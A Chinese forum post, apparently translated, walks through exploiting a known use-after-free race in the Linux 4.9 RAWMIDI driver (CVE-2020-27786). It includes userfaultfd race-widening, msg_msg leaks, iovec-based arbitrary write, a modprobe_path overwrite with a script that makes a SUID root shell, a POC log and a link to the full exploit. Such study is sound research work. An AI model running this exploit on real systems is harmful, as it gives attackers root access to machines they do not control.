DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2890|回复: 0

[漏洞相关] Linux 内核漏洞利用开发:1day 案例研究

[复制链接]

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-12-9 15:22:26 | 显示全部楼层 |阅读模式

介绍


我一直在寻找一个漏洞,可以在 "真实" 场景中练习,我在上一节课中学到的关于 Linux 内核漏洞利用的知识。由于我有一个星期的时间在 Hacktive Security 中投入时间来深化一个特定的论点,所以决定搜索一个没有公开利用的漏洞来开发。在快速介绍了我如何发现已知漏洞之后,我将详细介绍导致 Linux 内核 4.9 中的释放后使用的竞争条件的利用阶段。

本篇文章包含两部分:

  • 漏洞搜寻:关于公共资源以识别 Linux 内核中的已知漏洞,以便在现实场景中练习一些内核利用,这些资源包括:BugZilla、SyzBot、更改日志和 git 日志;
  • 内核利用:该漏洞是导致写入释放后使用的竞争条件,使用 userfaultd 技术处理来自用户空间的页面错误并使用 msg_msg 泄漏内核地址和 I/O 向量以获得写入原始数据,从而扩展了竞争窗口。使用 write 原始数据,modprobe_path 全局变量已被覆盖并弹出一个 root shell。

公开漏洞


我问自己的第一件事是:如何找到适合的 Bug?排除了通过 CVE 搜索它,因为并非所有漏洞都有指定的 CVE (通常它们是最 "著名" 的漏洞),那时候我使用了最强大的黑客技能:谷歌搜索。这让我想到了今天我想分享的各种资源,首先说这只是我个人工作的结果,无法反映执行相同工作的最佳方式。也就是说,这就是我用来找到 "匹配的" Nday 的东西:

  • Bugzilla
  • SyzBot
  • Changelogs
  • Git log

内核变更日志绝对是我最喜欢的一个,但让我们对它们全部说几句。

BugZilla


BugZilla报告 Linux 内核中错误 的标准方式。可以找到按子系统组织的有趣漏洞 (例如,使用 IPv4 和 IPv6 的网络或具有 ext* 类型的文件系统等),还可以搜索关键字 (例如 "overflow"、"heap"、"UAF" 等) 使用标准搜索或更高级的搜索。个人缺点是混合了许多 "非漏洞"、挂起之类的东西。此外,没有最强大的搜索选项 (例如一些 bash)。然而,它仍然是一个不错的选择,我个人确定了一些后来排除的漏洞。

Syzbot


"syzbot 是一个基于 syzkaller fuzzer 的连续模糊测试/报告系统" (介绍 syzbot 仪表板)。

不是最好的 GUI,但至少你可以有很多潜在的开放和修复的漏洞。没有内置搜索选项,但可以使用浏览器的搜索选项或使用 HTML 解析器解析 HTML。除了缺乏搜索之外,缺点之一是存在大量误报 (在 "开放部分" 中)。然而,好处是非常好的:你可以找到开放的漏洞 (仍未修复)、复制器 (C 或 syzlang)、修复的提交和报告的问题具有非常不言自明的 syzkaller 命名法。

Syzkaller-bugs (Google Group)


syz-bot 中缺少搜索功能的情况已被 "syzkaller-bugs" Google Group 很好地取代,可以从中找到 syz-bot 报告的错误以及来自评论部分和增强搜索栏的附加信息。我真的很喜欢这个选项!

Changelogs


这是我最喜欢的方法:从你想要的内核版本的内核 CDN 下载所有更新日志,可以使用你最喜欢的 bash 命令下载文件。这种方法类似于从 git 提交中搜索,但优点是速度更快。使用一些 bash-fu,可以使用以下内联下载目标内核版本 (例如 4.x) 的所有变更日志:URL=https://cdn.kernel.org/pub/linux/kernel/v4.x/ && 卷曲 $URL | grep“ChangeLog-4.9” | grep -v '.sign' | cut -d "\"" -f 2 | while read line; do wget "$URL/$line"; 完成。

下载完所有变更日志后,就可以通过 grep 查找 UAF、OOB、overflow 等有趣的关键字。我发现在所选关键字前后显示文本非常有用,例如:grep -A5 -B5 UAF *。 通过这种方式,可以立即获得有关漏洞详细信息、受影响的子系统、限制 …… 的快速信息。

对于每个已识别的漏洞,可以通过将补丁提交与前一个进行比较来查看其补丁 (需要来自 git 的 linux 源):git diff <commit before> <commit patch>。

Git 日志


如前所述,这是与 "Changelogs" 方法类似的方法。这个概念非常简单:克隆 github 存储库并在提交历史中搜索有趣的关键字,可以使用以下命令执行此操作:

  1. git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
  2. cd linux-stable
  3. git checkout -f <TAG -> # e.g. git checkout -f v4.9.316 (from https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git)
  4. git log > ../git.log
复制代码

这样可以在 git.log 文件上执行与以前相同的操作,然而,最大的缺点是文件太大并且需要更多时间 (4.9.316 上的 11.429.573 行)。这就是为什么我更喜欢 "Changelog" 方法的原因。

寻找一个好的漏洞


我正在寻找一个释放后使用漏洞,并开始在所有提到的资源中搜索它:BugZilla、SyzBot、Changelogs 和 git 历史。我将它们写在带有简历描述的表格中,以便稍后进一步分析它们。我开始深入研究他们中的一些人,查看他们的补丁和源代码,以了解可达性、编译依赖性和可利用性。我偶然发现了一个有趣的漏洞:RAWMIDI 接口中的漏洞 (c13f1463d84b86bedb664e509838bef37e6ea317 提交)。 我用 "Changelog" 方法发现了它,通过搜索 "UAF" 关键字阅读前后五行:grep -A5 -B5 UAF *。通过查看它的行为,确信该漏洞是在竞争条件下触发的 Use-After-Free。

RAWMIDI 接口


在面对这个漏洞之前,让我们看看这篇文章之后需要做的一些重要事情。易受攻击的驱动程序在 /dev/snd/midiC0D* (或基于平台的类似名称) 中作为字符设备公开,并依赖于 CONFIG_SND_RAWMIDI。它公开了以下文件操作:

  1. // https://elixir.bootlin.com/linux/v4.9.224/source/sound/core/rawmidi.c#L1507
  2. static const struct file_operations snd_rawmidi_f_ops =
  3. {
  4.         .owner =        THIS_MODULE,
  5.         .read =                snd_rawmidi_read,
  6.         .write =        snd_rawmidi_write,
  7.         .open =                snd_rawmidi_open,
  8.         .release =        snd_rawmidi_release,
  9.         .llseek =        no_llseek,
  10.         .poll =                snd_rawmidi_poll,
  11.         .unlocked_ioctl =        snd_rawmidi_ioctl,
  12.         .compat_ioctl =        snd_rawmidi_ioctl_compat,
  13. };
复制代码

我们感兴趣的是 open、write 和 unlocked_ioctl。

open


open (snd_rawmidi_open) 操作分配与设备交互所需的一切,但只需要知道的是第一次分配 snd_rawmidi_runtime->buffer 作为 GFP_KERNEL,大小为 4096 (PAGE_SIZE) 字节。这是 snd_rawmidi_runtime 结构:

  1. struct snd_rawmidi_runtime {
  2.         struct snd_rawmidi_substream *substream;
  3.         unsigned int drain: 1,        /* drain stage */
  4.                      oss: 1;        /* OSS compatible mode */
  5.         /* midi stream buffer */
  6.         unsigned char *buffer;        /* buffer for MIDI data */
  7.         size_t buffer_size;        /* size of buffer */
  8.         size_t appl_ptr;        /* application pointer */
  9.         size_t hw_ptr;                /* hardware pointer */
  10.         size_t avail_min;        /* min avail for wakeup */
  11.         size_t avail;                /* max used buffer for wakeup */
  12.         size_t xruns;                /* over/underruns counter */
  13.         /* misc */
  14.         spinlock_t lock;
  15.         wait_queue_head_t sleep;
  16.         /* event handler (new bytes, input only) */
  17.         void (*event)(struct snd_rawmidi_substream *substream);
  18.         /* defers calls to event [input] or ops->trigger [output] */
  19.         struct work_struct event_work;
  20.         /* private data */
  21.         void *private_data;
  22.         void (*private_free)(struct snd_rawmidi_substream *substream);
  23. };
复制代码

write


从打开操作分配所有内容后,可以写入文件描述符,如 write(fd, &buf, 10)。这样,它会将 10 个字节填充到 snd_rawmidi_runtime->buffer 中,并使用 snd_rawmidi_runtime->appl_ptr 它将记住偏移量以便稍后再次开始写入。为了写入该缓冲区,驱动程序执行以下调用:snd_rawmidi_write => snd_rawmidi_kernel_write1 => copy_from_user

ioctl


snd_rawmidi_ioctl 负责处理 IOCTL 命令,我们感兴趣的是 SNDRV_RAWMIDI_IOCTL_PARAMS,它使用用户可控参数调用 snd_rawmidi_output_params:

  1. int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
  2.                               struct snd_rawmidi_params * params)
  3. {
  4.         // [..] few checks
  5.         if (params->buffer_size != runtime->buffer_size) {
  6.                 newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //[1]
  7.                 if (!newbuf)
  8.                         return -ENOMEM;
  9.                 spin_lock_irq(&runtime->lock);
  10.                 oldbuf = runtime->buffer;
  11.                 runtime->buffer = newbuf; // [2]
  12.                 runtime->buffer_size = params->buffer_size;
  13.                 runtime->avail = runtime->buffer_size;
  14.                 runtime->appl_ptr = runtime->hw_ptr = 0;
  15.                 spin_unlock_irq(&runtime->lock);
  16.                 kfree(oldbuf); //[3]
  17.         }
  18.         // [..]
  19. }
复制代码

此 IOCTL 对于此漏洞至关重要,使用此命令,可以使用任意值重新分配内部缓冲区,然后用旧缓冲区替换该缓冲区,后者将被释放。

漏洞分析


该漏洞已被提 "c13f1463d84b86bedb664e509838bef37e6ea317" 修补,在目标易受攻击的缓冲区上引入了一个引用计数器。为了了解漏洞存在的位置,最好查看它的补丁:

  1. diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
  2. index 5432111c8761..2a87128b3075 100644
  3. --- a/include/sound/rawmidi.h
  4. +++ b/include/sound/rawmidi.h
  5. @@ -76,6 +76,7 @@ struct snd_rawmidi_runtime {
  6.         size_t avail_min;       /* min avail for wakeup */
  7.         size_t avail;           /* max used buffer for wakeup */
  8.         size_t xruns;           /* over/underruns counter */
  9. +       int buffer_ref;         /* buffer reference count */
  10.         /* misc */
  11.         spinlock_t lock;
  12.         wait_queue_head_t sleep;
  13. diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
  14. index 358b6efbd6aa..481c1ad1db57 100644
  15. --- a/sound/core/rawmidi.c
  16. +++ b/sound/core/rawmidi.c
  17. @@ -108,6 +108,17 @@ static void snd_rawmidi_input_event_work(struct work_struct *work)
  18.                 runtime->event(runtime->substream);
  19. }

  20. +/* buffer refcount management: call with runtime->lock held */
  21. +static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
  22. +{
  23. +       runtime->buffer_ref++;
  24. +}
  25. +
  26. +static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
  27. +{
  28. +       runtime->buffer_ref--;
  29. +}
  30. +
  31. static int snd_rawmidi_runtime_create(struct snd_rawmidi_substream *substream)
  32. {
  33.         struct snd_rawmidi_runtime *runtime;
  34. @@ -654,6 +665,11 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
  35.                 if (!newbuf)
  36.                         return -ENOMEM;
  37.                 spin_lock_irq(&runtime->lock);
  38. +               if (runtime->buffer_ref) {
  39. +                       spin_unlock_irq(&runtime->lock);
  40. +                       kfree(newbuf);
  41. +                       return -EBUSY;
  42. +               }
  43.                 oldbuf = runtime->buffer;
  44.                 runtime->buffer = newbuf;
  45.                 runtime->buffer_size = params->buffer_size;
  46. @@ -962,8 +978,10 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
  47.         long result = 0, count1;
  48.         struct snd_rawmidi_runtime *runtime = substream->runtime;
  49.         unsigned long appl_ptr;
  50. +       int err = 0;

  51.         spin_lock_irqsave(&runtime->lock, flags);
  52. +       snd_rawmidi_buffer_ref(runtime);
  53.         while (count > 0 && runtime->avail) {
  54.                 count1 = runtime->buffer_size - runtime->appl_ptr;
  55.                 if (count1 > count)
  56. @@ -982,16 +1000,19 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
  57.                 if (userbuf) {
  58.                         spin_unlock_irqrestore(&runtime->lock, flags);
  59.                         if (copy_to_user(userbuf + result,
  60. -                                        runtime->buffer + appl_ptr, count1)) {
  61. -                               return result > 0 ? result : -EFAULT;
  62. -                       }
  63. +                                        runtime->buffer + appl_ptr, count1))
  64. +                               err = -EFAULT;
  65.                         spin_lock_irqsave(&runtime->lock, flags);
  66. +                       if (err)
  67. +                               goto out;
  68.                 }
  69.                 result += count1;
  70.                 count -= count1;
  71.         }
  72. + out:
  73. +       snd_rawmidi_buffer_unref(runtime);
  74.         spin_unlock_irqrestore(&runtime->lock, flags);
  75. -       return result;
  76. +       return result > 0 ? result : err;
  77. }

  78. long snd_rawmidi_kernel_read(struct snd_rawmidi_substream *substream,
  79. @@ -1262,6 +1283,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
  80.                         return -EAGAIN;
  81.                 }
  82.         }
  83. +       snd_rawmidi_buffer_ref(runtime);
  84.         while (count > 0 && runtime->avail > 0) {
  85.                 count1 = runtime->buffer_size - runtime->appl_ptr;
  86.                 if (count1 > count)
  87. @@ -1293,6 +1315,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
  88.         }
  89.        __end:
  90.         count1 = runtime->avail < runtime->buffer_size;
  91. +       snd_rawmidi_buffer_unref(runtime);
复制代码

添加了两个函数:snd_rawmidi_buffer_ref 和 snd_rawmidi_buffer_unref。它们分别用于在复制 (snd_rawmidi_kernel_read1) 或写入 (snd_rawmidi_kernel_write1) 到该缓冲区时使用 snd_rawmidi_runtime->buffer_ref 获取和删除对缓冲区的引用。但为什么需要这个? 因为由 snd_rawmidi_kernel_write1 和 snd_rawmidi_kernel_read1 处理的读取和写入操作在从/向用户空间复制期间使用 spin_unlock_irqrestore/spin_lock_irqrestore 暂时解锁运行时锁,从而提供一个小的竞争窗口,可以在 copy_from_user 调用期间修改对象:

  1. static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, const unsigned char __user *userbuf, const unsigned char *kernelbuf, long count) {
  2.         // [..]
  3.                         spin_unlock_irqrestore(&runtime->lock, flags); // [1]
  4.                         if (copy_from_user(runtime->buffer + appl_ptr,
  5.                                            userbuf + result, count1)) {
  6.                                 spin_lock_irqsave(&runtime->lock, flags);
  7.                                 result = result > 0 ? result : -EFAULT;
  8.                                 goto __end;
  9.                         }
  10.                         spin_lock_irqsave(&runtime->lock, flags); // [2]
  11.         // [..]

  12. }
复制代码

如果并发线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 重新分配运行时-> 缓冲区,则该线程可以从 spin_lock_irq 锁定对象 (在 snd_rawmidi_kernel_write1 给出的小竞争窗口中已保持解锁状态) 并释放该缓冲区,使得重新分配任意对象并在其上写入成为可能。此外,snd_rawmidi_output_params 中的 kmalloc 是使用完全用户可控的 params->buffer_size 调用的。

  1. int `snd_rawmidi_output_params`(struct snd_rawmidi_substream *substream,
  2.                               struct snd_rawmidi_params * params)
  3. {
  4.         // [..]
  5.         if (params->buffer_size != runtime->buffer_size) {
  6.                 newbuf = kmalloc(params->buffer_size, GFP_KERNEL); // [3]
  7.                 if (!newbuf)
  8.                         return -ENOMEM;
  9.                 spin_lock_irq(&runtime->lock); // [1]
  10.                 oldbuf = runtime->buffer;
  11.                 runtime->buffer = newbuf;
  12.                 runtime->buffer_size = params->buffer_size;
  13.                 runtime->avail = runtime->buffer_size;
  14.                 runtime->appl_ptr = runtime->hw_ptr = 0;
  15.                 spin_unlock_irq(&runtime->lock);
  16.                 kfree(oldbuf); // [3]
  17.         }
  18.         // [..]
  19. }
复制代码

如果当一个线程使用 copy_from_user 写入缓冲区时,另一个线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 释放该缓冲区并重新分配一个新的任意缓冲区,会发生什么情况? 该对象被一个新对象替换,copy_from_user 将继续写入另一个对象 ("受害者对象"),破坏其值 => User-After-Free (Write)。

这个漏洞真正好的部分是你可以拥有的 "自由":

  • 可以调用任意大小的 kmalloc (这将是我们要替换的释放对象以导致 UAF),这意味着我们可以将我们最喜欢的 slab 缓存作为目标 (基于我们的需要,ofc);
  • 可以使用 write 系统调用在缓冲区中写入尽可能多的内容;

延长 race 时间窗口


我们知道在将数据从用户空间复制到内核时,有一个小的 race 窗口,指令很少,如前所述,但好消息是我们有一个 copy_from_user 可以任意暂停处理用户空间中的页面错误!由于是在 4.9 内核 (4.9.223) 中利用该漏洞,因此 userfaultd 仍然不像 >5.11 那样没有特权,仍然可以使用它来延长 race 窗口并有必要的时间来重新分配缓冲区!

开发计划


我们声明我们将使用 userfaultd 技术来延长时间 race,如果你不熟悉此技术,请参阅 此处、此 视频 (可以使用字幕) 和 此处。总结一下:可以从用户空间处理页面错误,在处理页面错误时暂时阻止内核执行。如果我们用 MAP_ANONYMOUS 标志映射一个内存块,内存将被需求零分页,这意味着它还没有分配,可以通过 userfaultd 分配它。

  • 使用 open => 初始化 runtime->buffer 这将分配 4096 大小的缓冲区 (这将落在 kmalloc-4096 中);
  • 发送 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 命令以重新分配我们所需大小的缓冲区;
  • 使用 mmap 分配请求零分页 (MAP_ANON) 并初始化 userfaultd 以处理其页面错误;
  • 使用我们之前分配的 mmaped 内存写入 rawmidi 文件描述符 => 这将触发 copy_from_user 中的用户空间页面错误;
  • 当内核线程挂起等待用户空间页面错误时,我们可以再次发送 SNDRV_RAWMIDI_IOCTL_PARAMS 以释放当前运行时->缓冲区;
  • 例如,在 kmalloc-32 中分配一个对象,如果之前对该缓存进行了一些喷射,它将取代之前释放的运行时->缓冲区;
  • 从 userland 释放页面错误,copy_from_user 将继续将其数据 (完全在用户控制下) 写入新分配的对象;

使用这个 primitive,我们可以伪造具有任意大小 (在 write 系统调用中指定)、任意内容、任意偏移量 (因为我们可以在两个页面之间触发 userfaultd,如后文所示) 和任意缓存 (我们可以控制大小分配的任意对象) SNDRV_RAWMIDI_IOCTL_PARAMS 读写控制)。

信息泄露


Victim Object

我们将使用我们之前在 "开发计划" 部分中解释的内容来泄漏我们将重新使用的地址以进行任意写入。由于可以选择哪个缓存触发 UAF (从开发的角度来看这是黄金),我选择泄漏指向内核 .data 部分中的 init_ipc_ns 的 shm_file_data->ns 指针,它位于 kmalloc-32 (我也使用相同的函数来喷射 kmalloc-32 缓存):

  1. void alloc_shm(int i)
  2. {
  3.         int shmid[0x100]     = {0};
  4.         void *shmaddr[0x100] = {0};
  5.     shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
  6.     if (shmid[i]  < 0) errExit("shmget");
  7.     shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
  8.     if (shmaddr[i] < 0) errExit("shmat");
  9. }
  10. alloc_shm(1)
复制代码

从该指针,我们将推断出 modprobe_path 的指针,以便稍后使用该技术来提升我们的特权。

msg_msg

  1. struct msg_msg {
  2.         struct list_head m_list;
  3.         long m_type;
  4.         size_t m_ts;                /* message text size */
  5.         struct msg_msgseg *next;
  6.         void *security;
  7.         /* the actual message follows immediately */
  8. };

  9. struct msg_msgseg {
  10.         struct msg_msgseg *next;
  11.         /* the next part of the message follows immediately */
  12. };
复制代码

然而,为了泄露该地址,我们必须妥协 kmalloc-32 中的其他一些对象,可能是一个会在其自身对象之后读取的长度字段。对于这种情况,msg_msg 是我们的完美匹配,因为它在其 msg_msg->m_ts 中指定了一个长度字段,并且它可以分配到从 kmalloc-32 到 kmalloc-4096 的几乎任何缓存中,只有一个缺点:最小分配 msg_msg 结构是 48 (sizeof(struct msg_msg)) 并且它可以在 kmalloc-64 处达到最小值。

如果你想阅读更多关于这个结构的信息,你可以查看 Fire of Salvation Writeup、Wall Of Perdition 和内核源代码。

但是,当使用大小大于 DATALEN_MSG (((size_t)PAGE_SIZE-sizeof(struct msg_msg)))(即 4096-48)的 msgsnd 发送消息时,分配一个段 (或多个段,如果需要),并且消息是 在 msg_msg (有效载荷就在结构头之后) 和 msg_msgseg 之间拆分,消息的总大小在 msg_msg->m_ts 中指定。

为了在 kmalloc-32 中分配我们的目标对象,我们必须发送一条大小为:( ( 4096 – 48 ) + 10 ) 的消息。

msg_msg 结构将在 kmalloc-4096 中分配,前 (4096 – 48) 个字节将写入 msg_msg 结构。

要分配剩余的 10 个字节,将在 kmalloc-32 中分配一个段 msg_msgseg

在这些条件下,我们可以在 kmalloc-4096 中伪造 msg_msg 结构,用我们的 UAF 覆盖它的 m_ts 值,并且使用 msgrcv 我们可以收到一条消息,其中包含超过我们在 kmalloc-32 中分配的段的值 (包括我们的目标 init_ipc_ns 指针)。

处理偏移

但是,我们想要覆盖 m_ts 值而不覆盖 msg_msg 结构中的任何其他内容,我们该怎么做呢?

如果你还记得的话,我说过我们可以覆盖具有任意大小、内容和偏移量的块。如果创建一个大小为 PAGE_SIZE * 2 (两页) 的 mmap 内存并且我们只处理第二页的页面错误,我们可以开始写入原始运行时->缓冲区并在收到 msg_msg-> 时触发页面错误 m_ts 偏移量 (0x18)。现在内核线程被阻塞,可以用 msg_msg 替换对象,当 copy_from_user 恢复时,它将开始准确地写入剩余字节的 msg_msg->m_ts 值。我们写入文件描述符的大小是 (0x18 + 0x2),因为第一个 0x18 字节将用于精确偏移,而剩余的 2 个字节将在 msg_msg->m_ts 中写入 0xffff,下图也解释了这个概念:



现在,根据从 msgrcv 接收到的消息,我们可以从 shm_file_data 中检索 init_ipc_ns 指针,可以推断出 modprobe_path 地址,计算其偏移量并继续进行任意写入阶段。

任意写入


为了在任意位置写入,我们使用上述相同的 userfault 技术,但不是针对 msg_msg,我们将使用 Vectored I/O (pipe + iovec)。已在内核 4.13 中通过 copyin 和 copyout 包装器以及 access_ok 附加项得到修复。该技术已被广泛用于利用 Android Binder CVE-2019-2215,并在此处和此处进行了详细说明。

这个想法是再次触发 UAF 但针对 iovec 结构:

  1. struct iovec
  2. {
  3.         void __user *iov_base;        /* BSD uses caddr_t (1003.1g requires void *) */
  4.         __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
  5. };
复制代码

iovec 的最小分配发生在 sizeof(struct iovec) * 9 或 16 * 9 (144) 处,它将落在 kmalloc-192 (否则它存储在堆栈中)。但是,我选择使用 readv 分配 13 个向量,以使对象落在 kmalloc-256 中。

  1.     int pipefd[2];
  2.     pipe(pipefd)
  3.     // [...]
  4.     struct iovec iov_read_buffers[13] = {0};
  5.     char read_buffer0[0x100];
  6.     memset(read_buffer0, 0x52, 0x100);
  7.     iov_read_buffers[0].iov_base = read_buffer0;
  8.     iov_read_buffers[0].iov_len= 0x10;
  9.     iov_read_buffers[1].iov_base = read_buffer0;
  10.     iov_read_buffers[1].iov_len= 0x10;
  11.     iov_read_buffers[8].iov_base = read_buffer0;
  12.     iov_read_buffers[8].iov_len= 0x10;
  13.     iov_read_buffers[12].iov_base = read_buffer0;
  14.     iov_read_buffers[12].iov_len= 0x10;

  15.     if(!fork()){
  16.         ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
  17.         exit(0);
  18.     }
复制代码

readv 是一个阻塞调用,它保留 (不释放) 内核中的对象,以便我们可以使用 UAF 破坏它,并在以后使用任意修改的内容重新使用它。如果破坏 iovec 结构的 iov_base,可以使用写系统调用在任意内核地址写入,因为它使用不安全的 __copy_from_user (与 copy_from_user 相同,但没有检查)。



我们的想法是:

  • 使用 SNDRV_RAWMIDI_IOCTL_PARAMS 调整 runtime->buffer 的大小,以便以大于 192 的大小登陆到 kmalloc-256
  • 写入指定零请求分页内存 (MAP_ANON) 的文件描述符,以便 copy_from_user 将停止执行,等待我们的用户态页面错误处理程序
  • 当内核线程等待时,再次使用重新调整大小的 ioctl 命令 SNDRV_RAWMIDI_IOCTL_PARAMS 释放缓冲区
  • 使用 readv 分配 iovec 结构,它将替换之前分配的 runtime->buffer
  • 恢复内核执行释放页面错误处理程序。 现在 copy_from_user 将开始写入 iovec 结构,我们将用 modprobe_path 地址覆盖 iov[1].iov_base。
  • 现在,为了覆盖 modprobe_path 值,我们只需使用写入系统调用将任意内容写入管道 [0]。 在已发布的漏洞中,我使用之前描述的与相邻页面相同的技术覆盖了第二个 iov 条目 (iov[1])。 但是,也可以直接覆盖第一个 iov[0].iov_base。


好的 ! 现在我们已经用 /tmp/x 覆盖了 modprobe_path 并且..是时候弹出一个 shell 了!

modprobe_path & uid=0

如果你不熟悉 modprobe_path,我建议你查看在 Linux 内核中利用 timerfd_ctx 对象和手册页。总而言之,modprobe_path 是一个全局变量,默认值为 /sbin/modprobe,call_usermodehelper_exec 使用它来执行用户空间程序,以防执行带有未知标头的程序。由于已经用 /tmp/x 覆盖了 modprobe_path,所以当执行具有未知标头的文件时,我们的可控脚本将以 root 身份执行。

这些是准备并稍后执行 suid shell 的漏洞利用函数:

  1. void prep_exploit(){
  2.     system("echo '#!/bin/sh' > /tmp/x");
  3.     system("echo 'touch /tmp/pwneed' >> /tmp/x");
  4.     system("echo 'chown root: /tmp/suid' >> /tmp/x");
  5.     system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
  6.     system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
  7.     system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
  8.     system("chmod +x /tmp/x");
  9.     system("chmod +x /tmp/nnn");
  10. }

  11. void get_root_shell(){
  12.     system("/tmp/nnn 2>/dev/null");
  13.     system("/tmp/suid 2>/dev/null");
  14. }

  15. int main(){
  16.         prep_exploit();
  17.         // [..] exploit stuff
  18.         get_root_shell(); // pop a root shell
  19. }
复制代码

该漏洞的作用是简单地创建 /tmp/x 二进制文件,该二进制文件将 suid 作为根目录放入 /tmp/suid 中的文件,并创建一个具有未知标头 (/tmp/nnn) 的文件,该文件将作为 /tmp 的根目录触发执行 /x 来自 call_usermodehelper_exec。之后,/tmp/suid 赋予 root 权限并生成 root shell。

POC:

  1. / $ uname -a                                   
  2. Linux (none) 4.9.223 #3 SMP Wed Jun 1 23:15:02 CEST 2022 x86_64 GNU/Linux
  3. / $ id
  4. uid=1000(user) gid=1000 groups=1000
  5. / $ /main
  6. [*] Starting exploitation ..
  7. [+] userfaultfd registered
  8. [*] First write to init substream..
  9. [*] Resizing buffer_size to 4096 ..
  10. [*] snd_write triggered (should fault)
  11. [*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
  12. [+] Page Fault triggered for 0x5551000!
  13. s -l[*] Replacing freed obj with msg_msg .
  14. [*] Waiting for userfaultd to finish ..
  15. [*] Page fault thread terminated
  16. [+] Page fault lock released
  17. [+] init_ipc_ns @0xffffffff81e8d560
  18. [+] calculated modprobe_path @0xffffffff81e42a00
  19. [+] Starting the arbitrary write phase ..
  20. [*] Closing and reopening re-opening rawmidi fd ..
  21. [+] userfaultfd registered
  22. [*] First write to init substream..
  23. [*] Resizing buffer_size to land into kmalloc-256 ..
  24. [*] snd_write triggered (should fault)
  25. [*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS
  26. [+] Page Fault triggered for 0x7771000!
  27. [*] Waiting for readv ..
  28. [*] Page fault thread terminated
  29. [+] Page fault lock released
  30. [*] Writing into the pipe ..
  31. [*] write = 24
  32. [+] enjoy your r00t shell [:
  33. / # id
  34. uid=0(root) gid=0 groups=1000
  35. / #
复制代码

结论


我说明了使用公共资源查找公共漏洞的经验以练习一些 linux 内核利用。一旦确定了一个好的候选者,我就开发了一个 4.9 内核的漏洞,实现了任意读写。使用这些 primitives,生成了一个 root shell。

你可以在这里找到整个漏洞利用:https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-4-25 06:26 , Processed in 0.062900 second(s), 27 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表